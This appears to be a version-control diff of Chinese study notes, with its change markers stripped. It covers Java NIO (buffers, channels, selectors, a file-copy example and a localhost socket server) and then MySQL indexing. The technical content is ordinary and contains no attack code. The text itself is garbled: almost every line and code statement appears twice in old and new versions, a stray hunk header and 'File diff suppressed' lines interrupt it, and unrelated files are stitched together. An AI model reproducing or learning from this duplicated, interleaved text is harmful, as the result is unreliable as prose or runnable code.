面向流的 I/O 一次处理一个字节数据:一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责复杂处理机制的一部分。不利的一面是,面向流的 I/O 通常相当慢。
面向流的 I/O 一次处理一个字节数据:一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责复杂处理机制的一部分。不利的一面是,面向流的 I/O 通常相当慢。
面向块的 I/O 一次处理一个数据块,按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
面向块的 I/O 一次处理一个数据块,按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重新实现了所以现在它可以利用 NIO 的一些特性。例如java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。
I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。
## 通道与缓冲区
## 通道与缓冲区
### 1. 通道
### 1. 通道
通道 Channel 是对原 I/O 包中的流的模拟,可以通过它读取和写入数据。
通道 Channel 是对原 I/O 包中的流的模拟,可以通过它读取和写入数据。
通道与流的不同之处在于,流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类),而通道是双向的,可以用于读、写或者同时用于读写。
通道与流的不同之处在于,流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类),而通道是双向的,可以用于读、写或者同时用于读写。
通道包括以下类型:
- FileChannel从文件中读写数据
- DatagramChannel通过 UDP 读写网络中数据;
- SocketChannel通过 TCP 读写网络中数据;
- ServerSocketChannel可以监听新进来的 TCP 连接对每一个新进来的连接都会创建一个 SocketChannel。
- FileChannel从文件中读写数据
- DatagramChannel通过 UDP 读写网络中数据;
- SocketChannel通过 TCP 读写网络中数据;
- ServerSocketChannel可以监听新进来的 TCP 连接,对每一个新进来的连接都会创建一个 SocketChannel。
### 2. 缓冲区
### 2. 缓冲区
发送给一个通道的所有数据都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要先读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
@ -288,308 +322,300 @@ I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基
缓冲区包括以下类型:
- ByteBuffer
- CharBuffer
- ShortBuffer
- IntBuffer
- LongBuffer
- FloatBuffer
- DoubleBuffer
- ByteBuffer
- CharBuffer
- ShortBuffer
- IntBuffer
- LongBuffer
- FloatBuffer
- DoubleBuffer
## 缓冲区状态变量
## 缓冲区状态变量
- capacity最大容量
- position当前已经读写的字节数
- limit还可以读写的字节数。
- capacity最大容量
- position当前已经读写的字节数
- limit还可以读写的字节数。
状态变量的改变过程举例:
 新建一个大小为 8 个字节的缓冲区此时 position  0 limit = capacity = 8。capacity 变量不会改变,下面的讨论会忽略它。
新建一个大小为 8 个字节的缓冲区,此时 position 为 0而 limit = capacity = 8。capacity 变量不会改变,下面的讨论会忽略它。
![](index_files/1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png)
<div align="center"> <img src="pics/1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
 从输入通道中读取 5 个字节数据写入缓冲区中此时 position  5limit 保持不变。
从输入通道中读取 5 个字节数据写入缓冲区中,此时 position 为 5limit 保持不变。
![](index_files/80804f52-8815-4096-b506-48eef3eed5c6.png)
<div align="center"> <img src="pics/80804f52-8815-4096-b506-48eef3eed5c6.png"/> </div><br>
 在将缓冲区的数据写到输出通道之前需要先调用 flip() 方法这个方法将 limit 设置为当前 position并将 position 设置为 0。
在将缓冲区的数据写到输出通道之前,需要先调用 flip() 方法,这个方法将 limit 设置为当前 position并将 position 设置为 0。
![](index_files/952e06bd-5a65-4cab-82e4-dd1536462f38.png)
<div align="center"> <img src="pics/952e06bd-5a65-4cab-82e4-dd1536462f38.png"/> </div><br>
 从缓冲区中取 4 个字节到输出缓冲中此时 position 设为 4。
从缓冲区中取 4 个字节到输出缓冲中,此时 position 设为 4。
![](index_files/b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png)
<div align="center"> <img src="pics/b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png"/> </div><br>
 最后需要调用 clear() 方法来清空缓冲区此时 position  limit 都被设置为最初位置。
最后需要调用 clear() 方法来清空缓冲区,此时 position 和 limit 都被设置为最初位置。
![](index_files/67bf5487-c45d-49b6-b9c0-a058d8c68902.png)
<div align="center"> <img src="pics/67bf5487-c45d-49b6-b9c0-a058d8c68902.png"/> </div><br>
## 文件 NIO 实例
## 文件 NIO 实例
以下展示了使用 NIO 快速复制文件的实例:
以下展示了使用 NIO 快速复制文件的实例:
```java
public static void fastCopy(String src, String dist) throws IOException {
public static void fastCopy(String src, String dist) throws IOException {
    /* 获得源文件的输入字节流 */
    FileInputStream fin = new FileInputStream(src);
/* 获得源文件的输入字节流 */
FileInputStream fin = new FileInputStream(src);
    /* 获取输入字节流的文件通道 */
    FileChannel fcin = fin.getChannel();
/* 获取输入字节流的文件通道 */
FileChannel fcin = fin.getChannel();
    /* 获取目标文件的输出字节流 */
    FileOutputStream fout = new FileOutputStream(dist);
/* 获取目标文件的输出字节流 */
FileOutputStream fout = new FileOutputStream(dist);
    /* 获取输出字节流的文件通道 */
    FileChannel fcout = fout.getChannel();
/* 获取输出字节流的文件通道 */
FileChannel fcout = fout.getChannel();
    /* 为缓冲区分配 1024 个字节 */
    ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
/* 为缓冲区分配 1024 个字节 */
ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
    while (true) {
while (true) {
        /* 从输入通道中读取数据到缓冲区中 */
        int r = fcin.read(buffer);
/* 从输入通道中读取数据到缓冲区中 */
int r = fcin.read(buffer);
        /* read() 返回 -1 表示 EOF */
        if (r == -1) {
            break;
        }
/* read() 返回 -1 表示 EOF */
if (r == -1) {
break;
}
        /* 切换读写 */
        buffer.flip();
/* 切换读写 */
buffer.flip();
        /* 把缓冲区的内容写入输出文件中 */
        fcout.write(buffer);
/* 把缓冲区的内容写入输出文件中 */
fcout.write(buffer);
        /* 清空缓冲区 */
        buffer.clear();
    }
/* 清空缓冲区 */
buffer.clear();
}
}
```
## 选择器
## 选择器
NIO 常常被叫做非阻塞 IO主要是因为 NIO 在网络通信中的非阻塞特性被广泛使用。
NIO 常常被叫做非阻塞 IO主要是因为 NIO 在网络通信中的非阻塞特性被广泛使用。
NIO 实现了 IO 多路复用中的 Reactor 模型一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去监听多个通道 Channel 上的事件,从而让一个线程就可以处理多个事件。
NIO 实现了 IO 多路复用中的 Reactor 模型,一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去监听多个通道 Channel 上的事件,从而让一个线程就可以处理多个事件。
通过配置监听的通道 Channel 为非阻塞那么当 Channel 上的 IO 事件还未到达时就不会进入阻塞状态一直等待而是继续轮询其它 Channel找到 IO 事件已经到达的 Channel 执行。
通过配置监听的通道 Channel 为非阻塞,那么当 Channel 上的 IO 事件还未到达时,就不会进入阻塞状态一直等待,而是继续轮询其它 Channel找到 IO 事件已经到达的 Channel 执行。
因为创建和切换线程的开销很大,因此使用一个线程来处理多个事件而不是一个线程处理一个事件,对于 IO 密集型的应用具有很好地性能。
因为创建和切换线程的开销很大,因此使用一个线程来处理多个事件而不是一个线程处理一个事件,对于 IO 密集型的应用具有很好地性能。
应该注意的是,只有套接字 Channel 才能配置为非阻塞 FileChannel 不能 FileChannel 配置非阻塞也没有意义。
应该注意的是,只有套接字 Channel 才能配置为非阻塞,而 FileChannel 不能,为 FileChannel 配置非阻塞也没有意义。
![](index_files/4d930e22-f493-49ae-8dff-ea21cd6895dc.png)
<div align="center"> <img src="pics/4d930e22-f493-49ae-8dff-ea21cd6895dc.png"/> </div><br>
### 1. 创建选择器
### 1. 创建选择器
```java
Selector selector = Selector.open();
Selector selector = Selector.open();
```
### 2. 将通道注册到选择器上
### 2. 将通道注册到选择器上
```java
ServerSocketChannel ssChannel = ServerSocketChannel.open();
ServerSocketChannel ssChannel = ServerSocketChannel.open();
ssChannel.configureBlocking(false);
ssChannel.register(selector, SelectionKey.OP_ACCEPT);
ssChannel.register(selector, SelectionKey.OP_ACCEPT);
```
通道必须配置为非阻塞模式,否则使用选择器就没有任何意义了,因为如果通道在某个事件上被阻塞,那么服务器就不能响应其它事件,必须等待这个事件处理完毕才能去处理其它事件,显然这和选择器的作用背道而驰。
在将通道注册到选择器上时,还需要指定要注册的具体事件,主要有以下几类:
- SelectionKey.OP_CONNECT
- SelectionKey.OP_ACCEPT
- SelectionKey.OP_READ
- SelectionKey.OP_WRITE
- SelectionKey.OP_CONNECT
- SelectionKey.OP_ACCEPT
- SelectionKey.OP_READ
- SelectionKey.OP_WRITE
它们在 SelectionKey 的定义如下:
它们在 SelectionKey 的定义如下:
```java
public static final int OP_READ = 1 << 0;
public static final int OP_WRITE = 1 << 2;
public static final int OP_CONNECT = 1 << 3;
public static final int OP_ACCEPT = 1 << 4;
public static final int OP_READ = 1 << 0;
public static final int OP_WRITE = 1 << 2;
public static final int OP_CONNECT = 1 << 3;
public static final int OP_ACCEPT = 1 << 4;
```
可以看出每个事件可以被当成一个位域,从而组成事件集整数。例如:
```java
int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
```
### 3. 监听事件
### 3. 监听事件
```java
int num = selector.select();
int num = selector.select();
```
使用 select() 来监听到达的事件,它会一直阻塞直到有至少一个事件到达。
使用 select() 来监听到达的事件,它会一直阻塞直到有至少一个事件到达。
### 4. 获取到达的事件
### 4. 获取到达的事件
```java
Set<SelectionKey> keys = selector.selectedKeys();
Iterator<SelectionKey> keyIterator = keys.iterator();
while (keyIterator.hasNext()) {
    SelectionKey key = keyIterator.next();
    if (key.isAcceptable()) {
        // ...
    } else if (key.isReadable()) {
        // ...
    }
    keyIterator.remove();
Set<SelectionKey> keys = selector.selectedKeys();
Iterator<SelectionKey> keyIterator = keys.iterator();
while (keyIterator.hasNext()) {
SelectionKey key = keyIterator.next();
if (key.isAcceptable()) {
// ...
} else if (key.isReadable()) {
// ...
}
keyIterator.remove();
}
```
### 5. 事件循环
### 5. 事件循环
因为一次 select() 调用不能处理完所有的事件,并且服务器端有可能需要一直监听事件,因此服务器端处理事件的代码一般会放在一个死循环内。
因为一次 select() 调用不能处理完所有的事件,并且服务器端有可能需要一直监听事件,因此服务器端处理事件的代码一般会放在一个死循环内。
```java
while (true) {
    int num = selector.select();
    Set<SelectionKey> keys = selector.selectedKeys();
    Iterator<SelectionKey> keyIterator = keys.iterator();
    while (keyIterator.hasNext()) {
        SelectionKey key = keyIterator.next();
        if (key.isAcceptable()) {
            // ...
        } else if (key.isReadable()) {
            // ...
        }
        keyIterator.remove();
    }
while (true) {
int num = selector.select();
Set<SelectionKey> keys = selector.selectedKeys();
Iterator<SelectionKey> keyIterator = keys.iterator();
while (keyIterator.hasNext()) {
SelectionKey key = keyIterator.next();
if (key.isAcceptable()) {
// ...
} else if (key.isReadable()) {
// ...
}
keyIterator.remove();
}
}
```
## 套接字 NIO 实例
## 套接字 NIO 实例
```java
public class NIOServer {
public class NIOServer {
    public static void main(String[] args) throws IOException {
public static void main(String[] args) throws IOException {
        Selector selector = Selector.open();
Selector selector = Selector.open();
        ServerSocketChannel ssChannel = ServerSocketChannel.open();
        ssChannel.configureBlocking(false);
        ssChannel.register(selector, SelectionKey.OP_ACCEPT);
ServerSocketChannel ssChannel = ServerSocketChannel.open();
ssChannel.configureBlocking(false);
ssChannel.register(selector, SelectionKey.OP_ACCEPT);
        ServerSocket serverSocket = ssChannel.socket();
        InetSocketAddress address = new InetSocketAddress("127.0.0.1", 8888);
        serverSocket.bind(address);
ServerSocket serverSocket = ssChannel.socket();
InetSocketAddress address = new InetSocketAddress("127.0.0.1", 8888);
serverSocket.bind(address);
        while (true) {
while (true) {
            selector.select();
            Set<SelectionKey> keys = selector.selectedKeys();
            Iterator<SelectionKey> keyIterator = keys.iterator();
selector.select();
Set<SelectionKey> keys = selector.selectedKeys();
Iterator<SelectionKey> keyIterator = keys.iterator();
            while (keyIterator.hasNext()) {
while (keyIterator.hasNext()) {
                SelectionKey key = keyIterator.next();
SelectionKey key = keyIterator.next();
                if (key.isAcceptable()) {
if (key.isAcceptable()) {
                    ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
                    // 服务器会为每个新连接创建一个 SocketChannel
                    SocketChannel sChannel = ssChannel1.accept();
                    sChannel.configureBlocking(false);
// 服务器会为每个新连接创建一个 SocketChannel
SocketChannel sChannel = ssChannel1.accept();
sChannel.configureBlocking(false);
                    // 这个新连接主要用于从客户端读取数据
                    sChannel.register(selector, SelectionKey.OP_READ);
// 这个新连接主要用于从客户端读取数据
sChannel.register(selector, SelectionKey.OP_READ);
                } else if (key.isReadable()) {
} else if (key.isReadable()) {
                    SocketChannel sChannel = (SocketChannel) key.channel();
                    System.out.println(readDataFromSocketChannel(sChannel));
                    sChannel.close();
                }
SocketChannel sChannel = (SocketChannel) key.channel();
System.out.println(readDataFromSocketChannel(sChannel));
sChannel.close();
}
                keyIterator.remove();
            }
        }
    }
keyIterator.remove();
}
}
}
    private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
        ByteBuffer buffer = ByteBuffer.allocate(1024);
        StringBuilder data = new StringBuilder();
ByteBuffer buffer = ByteBuffer.allocate(1024);
StringBuilder data = new StringBuilder();
        while (true) {
while (true) {
            buffer.clear();
            int n = sChannel.read(buffer);
            if (n == -1) {
                break;
            }
            buffer.flip();
            int limit = buffer.limit();
            char[] dst = new char[limit];
            for (int i = 0; i < limit; i++) {
                dst[i] = (char) buffer.get(i);
            }
            data.append(dst);
            buffer.clear();
        }
        return data.toString();
    }
buffer.clear();
int n = sChannel.read(buffer);
if (n == -1) {
break;
}
buffer.flip();
int limit = buffer.limit();
char[] dst = new char[limit];
for (int i = 0; i < limit; i++) {
dst[i] = (char) buffer.get(i);
}
data.append(dst);
buffer.clear();
}
return data.toString();
}
}
```
```java
public class NIOClient {
public class NIOClient {
    public static void main(String[] args) throws IOException {
        Socket socket = new Socket("127.0.0.1", 8888);
        OutputStream out = socket.getOutputStream();
        String s = "hello world";
        out.write(s.getBytes());
        out.close();
    }
public static void main(String[] args) throws IOException {
Socket socket = new Socket("127.0.0.1", 8888);
OutputStream out = socket.getOutputStream();
String s = "hello world";
out.write(s.getBytes());
out.close();
}
}
```
## 内存映射文件
## 内存映射文件
内存映射文件 I/O 是一种读和写文件数据的方法它可以比常规的基于流或者基于通道的 I/O 快得多。
内存映射文件 I/O 是一种读和写文件数据的方法,它可以比常规的基于流或者基于通道的 I/O 快得多。
向内存映射文件写入可能是危险的,只是改变数组的单个元素这样的简单操作,就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的。
下面代码行将文件的前 1024 个字节映射到内存中map() 方法返回一个 MappedByteBuffer它是 ByteBuffer 的子类。因此可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区,操作系统会在需要时负责执行映射。
下面代码行将文件的前 1024 个字节映射到内存中map() 方法返回一个 MappedByteBuffer它是 ByteBuffer 的子类。因此,可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区,操作系统会在需要时负责执行映射。
```java
MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
```
## 对比
## 对比
NIO 与普通 I/O 的区别主要有以下两点:
NIO 与普通 I/O 的区别主要有以下两点:
- NIO 是非阻塞的;
- NIO 面向块I/O 面向流。
- NIO 是非阻塞的;
- NIO 面向块I/O 面向流。
# 八、参考资料
# 八、参考资料
- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
- [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html)
- [Java NIO 浅析](https://tech.meituan.com/nio.html)
- [IBM: 深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
- [IBM: 深入分析 Java 中的中文编码问题](https://www.ibm.com/developerworks/cn/java/j-lo-chinesecoding/index.html)
- [IBM: Java 序列化的高级认识](https://www.ibm.com/developerworks/cn/java/j-lo-serial/index.html)
- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)
---bottom---CyC---
![](index_files/DP-Decorator-java.io.png)
![](index_files/ClienteServidorSockets1521731145260.jpg)
![](index_files/1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png)
![](index_files/4628274c-25b6-4053-97cf-d1239b44c43d.png)
![](index_files/952e06bd-5a65-4cab-82e4-dd1536462f38.png)
![](index_files/b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png)
![](index_files/67bf5487-c45d-49b6-b9c0-a058d8c68902.png)
- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
- [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html)
- [Java NIO 浅析](https://tech.meituan.com/nio.html)
- [IBM: 深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
- [IBM: 深入分析 Java 中的中文编码问题](https://www.ibm.com/developerworks/cn/java/j-lo-chinesecoding/index.html)
- [IBM: Java 序列化的高级认识](https://www.ibm.com/developerworks/cn/java/j-lo-serial/index.html)
- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1,46 +1,79 @@
# 一、索引
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、索引](#一索引)
* [B+ Tree 原理](#b-tree-原理)
* [MySQL 索引](#mysql-索引)
* [索引优化](#索引优化)
* [索引的优点](#索引的优点)
* [索引的使用条件](#索引的使用条件)
* [二、查询性能优化](#二查询性能优化)
* [使用 Explain 进行分析](#使用-explain-进行分析)
* [优化数据访问](#优化数据访问)
* [重构查询方式](#重构查询方式)
* [三、存储引擎](#三存储引擎)
* [InnoDB](#innodb)
* [MyISAM](#myisam)
* [比较](#比较)
* [四、数据类型](#四数据类型)
* [整型](#整型)
* [浮点数](#浮点数)
* [字符串](#字符串)
* [时间和日期](#时间和日期)
* [五、切分](#五切分)
* [水平切分](#水平切分)
* [垂直切分](#垂直切分)
* [Sharding 策略](#sharding-策略)
* [Sharding 存在的问题](#sharding-存在的问题)
* [六、复制](#六复制)
* [主从复制](#主从复制)
* [读写分离](#读写分离)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## B+ Tree 原理
### 1. 数据结构
# 一、索引
B Tree 指的是 Balance Tree也就是平衡树。平衡树是一颗查找树并且所有叶子节点位于同一层。
## B+ Tree 原理
B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现它具有 B Tree 的平衡性并且通过顺序访问指针来提高区间查询的性能。
### 1. 数据结构
 B+ Tree 一个节点中的 key 从左到右非递减排列如果某个指针的左右相邻 key 分别是 key<sub>i</sub>  key<sub>i+1</sub>且不为 null则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>
B Tree 指的是 Balance Tree也就是平衡树。平衡树是一颗查找树并且所有叶子节点位于同一层
<img src="index_files/d5ce91a7-45f9-4560-9917-0dccd4900826.png" width="400px">
B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现,它具有 B Tree 的平衡性,并且通过顺序访问指针来提高区间查询的性能。
### 2. 操作
在 B+ Tree 中,一个节点中的 key 从左到右非递减排列,如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>,且不为 null则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>
进行查找操作时首先在根节点进行二分查找找到一个 key 所在的指针然后递归地在指针所指向的节点进行查找。直到查找到叶子节点然后在叶子节点上进行二分查找找出 key 所对应的 data。
<div align="center"> <img src="pics/d5ce91a7-45f9-4560-9917-0dccd4900826.png" width="400px"> </div><br>
### 2. 操作
进行查找操作时,首先在根节点进行二分查找,找到一个 key 所在的指针,然后递归地在指针所指向的节点进行查找。直到查找到叶子节点,然后在叶子节点上进行二分查找,找出 key 所对应的 data。
插入删除操作会破坏平衡树的平衡性,因此在插入删除操作之后,需要对树进行一个分裂、合并、旋转等操作来维护平衡性。
### 3. 与红黑树的比较
### 3. 与红黑树的比较
红黑树等平衡树也可以用来实现索引但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构主要有以下两个原因
红黑树等平衡树也可以用来实现索引,但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构,主要有以下两个原因:
(一)更少的查找次数
平衡树查找操作的时间复杂度和树高 h 相关O(h)=O(log<sub>d</sub>N)其中 d 为每个节点的出度。
平衡树查找操作的时间复杂度和树高 h 相关O(h)=O(log<sub>d</sub>N),其中 d 为每个节点的出度。
红黑树的出度为 2 B+ Tree 的出度一般都非常大所以红黑树的树高 h 很明显比 B+ Tree 大非常多查找的次数也就更多。
红黑树的出度为 2而 B+ Tree 的出度一般都非常大,所以红黑树的树高 h 很明显比 B+ Tree 大非常多,查找的次数也就更多。
(二)利用磁盘预读特性
为了减少磁盘 I/O 操作,磁盘往往不是严格按需读取,而是每次都会预读。预读过程中,磁盘进行顺序读取,顺序读取不需要进行磁盘寻道,并且只需要很短的旋转时间,速度会非常快。
为了减少磁盘 I/O 操作,磁盘往往不是严格按需读取,而是每次都会预读。预读过程中,磁盘进行顺序读取,顺序读取不需要进行磁盘寻道,并且只需要很短的旋转时间,速度会非常快。
操作系统一般将内存和磁盘分割成固定大小的块,每一块称为一页,内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小,使得一次 I/O 就能完全载入一个节点。并且可以利用预读特性,相邻的节点也能够被预先载入。
操作系统一般将内存和磁盘分割成固定大小的块,每一块称为一页,内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小,使得一次 I/O 就能完全载入一个节点。并且可以利用预读特性,相邻的节点也能够被预先载入。
## MySQL 索引
## MySQL 索引
索引是在存储引擎层实现的,而不是在服务器层实现的,所以不同存储引擎具有不同的索引类型和实现。
### 1. B+Tree 索引
### 1. B+Tree 索引
是大多数 MySQL 存储引擎的默认索引类型。
是大多数 MySQL 存储引擎的默认索引类型。
因为不再需要进行全表扫描,只需要对树进行搜索即可,所以查找速度快很多。
@ -50,185 +83,185 @@ B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现
适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。如果不是按照索引列的顺序进行查找,则无法使用索引。
InnoDB  B+Tree 索引分为主索引和辅助索引。主索引的叶子节点 data 域记录着完整的数据记录,这种索引方式被称为聚簇索引。因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
InnoDB 的 B+Tree 索引分为主索引和辅助索引。主索引的叶子节点 data 域记录着完整的数据记录,这种索引方式被称为聚簇索引。因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
<img src="index_files/0f6f92e8-f15e-4c09-8562-b9c6114df9ce.png" width="400px">
<div align="center"> <img src="pics/0f6f92e8-f15e-4c09-8562-b9c6114df9ce.png" width="400px"> </div><br>
辅助索引的叶子节点的 data 域记录着主键的值,因此在使用辅助索引进行查找时,需要先查找到主键值,然后再到主索引中进行查找。
辅助索引的叶子节点的 data 域记录着主键的值,因此在使用辅助索引进行查找时,需要先查找到主键值,然后再到主索引中进行查找。
<img src="index_files/1e74234e-d70b-411c-9333-226bcbb9c8f0.png" width="400px">
<div align="center"> <img src="pics/1e74234e-d70b-411c-9333-226bcbb9c8f0.png" width="400px"> </div><br>
### 2. 哈希索引
### 2. 哈希索引
哈希索引能以 O(1) 时间进行查找,但是失去了有序性:
哈希索引能以 O(1) 时间进行查找,但是失去了有序性:
- 无法用于排序与分组;
- 只支持精确查找,无法用于部分查找和范围查找。
- 无法用于排序与分组;
- 只支持精确查找,无法用于部分查找和范围查找。
InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引,这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
### 3. 全文索引
### 3. 全文索引
MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而不是直接比较是否相等。
MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而不是直接比较是否相等。
查找条件使用 MATCH AGAINST而不是普通的 WHERE。
查找条件使用 MATCH AGAINST而不是普通的 WHERE。
全文索引使用倒排索引实现,它记录着关键词到其所在文档的映射。
InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。
InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。
### 4. 空间数据索引
### 4. 空间数据索引
MyISAM 存储引擎支持空间数据索引R-Tree可以用于地理数据存储。空间数据索引会从所有维度来索引数据可以有效地使用任意维度来进行组合查询。
MyISAM 存储引擎支持空间数据索引R-Tree可以用于地理数据存储。空间数据索引会从所有维度来索引数据可以有效地使用任意维度来进行组合查询。
必须使用 GIS 相关的函数来维护数据。
必须使用 GIS 相关的函数来维护数据。
## 索引优化
## 索引优化
### 1. 独立的列
### 1. 独立的列
在进行查询时,索引列不能是表达式的一部分,也不能是函数的参数,否则无法使用索引。
例如下面的查询不能使用 actor_id 列的索引:
例如下面的查询不能使用 actor_id 列的索引:
```sql
SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
```
### 2. 多列索引
### 2. 多列索引
在需要使用多个列作为条件进行查询时,使用多列索引比使用多个单列索引性能更好。例如下面的语句中,最好把 actor_id  film_id 设置为多列索引。
在需要使用多个列作为条件进行查询时,使用多列索引比使用多个单列索引性能更好。例如下面的语句中,最好把 actor_id 和 film_id 设置为多列索引。
```sql
SELECT film_id, actor_ id FROM sakila.film_actor
WHERE actor_id = 1 AND film_id = 1;
SELECT film_id, actor_ id FROM sakila.film_actor
WHERE actor_id = 1 AND film_id = 1;
```
### 3. 索引列的顺序
### 3. 索引列的顺序
让选择性最强的索引列放在前面。
索引的选择性是指:不重复的索引值和记录总数的比值。最大值为 1此时每个记录都有唯一的索引与其对应。选择性越高查询效率也越高。
索引的选择性是指:不重复的索引值和记录总数的比值。最大值为 1此时每个记录都有唯一的索引与其对应。选择性越高查询效率也越高。
例如下面显示的结果中 customer_id 的选择性比 staff_id 更高因此最好把 customer_id 列放在多列索引的前面。
例如下面显示的结果中 customer_id 的选择性比 staff_id 更高,因此最好把 customer_id 列放在多列索引的前面。
```sql
SELECT COUNT(DISTINCT staff_id)/COUNT(*) AS staff_id_selectivity,
COUNT(DISTINCT customer_id)/COUNT(*) AS customer_id_selectivity,
SELECT COUNT(DISTINCT staff_id)/COUNT(*) AS staff_id_selectivity,
COUNT(DISTINCT customer_id)/COUNT(*) AS customer_id_selectivity,
COUNT(*)
FROM payment;
FROM payment;
```
```html
   staff_id_selectivity: 0.0001
customer_id_selectivity: 0.0373
               COUNT(*): 16049
staff_id_selectivity: 0.0001
customer_id_selectivity: 0.0373
COUNT(*): 16049
```
### 4. 前缀索引
### 4. 前缀索引
对于 BLOB、TEXT  VARCHAR 类型的列,必须使用前缀索引,只索引开始的部分字符。
对于 BLOB、TEXT 和 VARCHAR 类型的列,必须使用前缀索引,只索引开始的部分字符。
对于前缀长度的选取需要根据索引选择性来确定。
### 5. 覆盖索引
### 5. 覆盖索引
索引包含所有需要查询的字段的值。
具有以下优点:
- 索引通常远小于数据行的大小,只读取索引能大大减少数据访问量。
- 一些存储引擎(例如 MyISAM在内存中只缓存索引而数据依赖于操作系统来缓存。因此只访问索引可以不使用系统调用通常比较费时
- 对于 InnoDB 引擎,若辅助索引能够覆盖查询,则无需访问主索引。
- 索引通常远小于数据行的大小,只读取索引能大大减少数据访问量。
- 一些存储引擎(例如 MyISAM在内存中只缓存索引而数据依赖于操作系统来缓存。因此只访问索引可以不使用系统调用通常比较费时
- 对于 InnoDB 引擎,若辅助索引能够覆盖查询,则无需访问主索引。
## 索引的优点
## 索引的优点
